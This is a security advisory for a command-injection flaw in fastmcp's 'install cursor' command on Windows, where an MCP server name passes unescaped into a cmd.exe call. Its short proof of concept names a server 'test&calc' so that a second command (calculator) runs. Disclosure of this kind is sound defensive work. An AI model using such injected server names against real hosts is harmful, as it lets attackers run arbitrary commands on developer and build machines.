PYSEC-2026-1365

Summary

A command-injection vulnerability lets any attacker who can influence the server_name field of an MCP execute arbitrary OS commands on Windows hosts that run fastmcp install cursor

Details

1. generatecursordeeplink(servername, …) embeds servername verbatim in a cursor://…?name= query string.
2. open_deeplink() is invoked with shell=True only on Windows. That calls cmd.exe /c start <deeplink>.
3. Any cmd metacharacter inside server_name (&, |, >, ^, …) escapes the start command and spawns an attacker-chosen process.

PoC

server.py

import random
from fastmcp import FastMCP

mcp = FastMCP(name="test&calc")

@mcp.tool
def roll_dice(n_dice: int) -> list[int]:
    """Roll `n_dice` 6-sided dice and return the results."""
    return [random.randint(1, 6) for _ in range(n_dice)]

if __name__ == "__main__":
    mcp.run()

then run in the terminal: fastmcp install cursor server.py

Impact

OS Command / Shell Injection (CWE-78) Every Windows host that runs fastmcp install cursor is at risk. Developers on their local workstations, CI/CD agents and corporate build machines alike.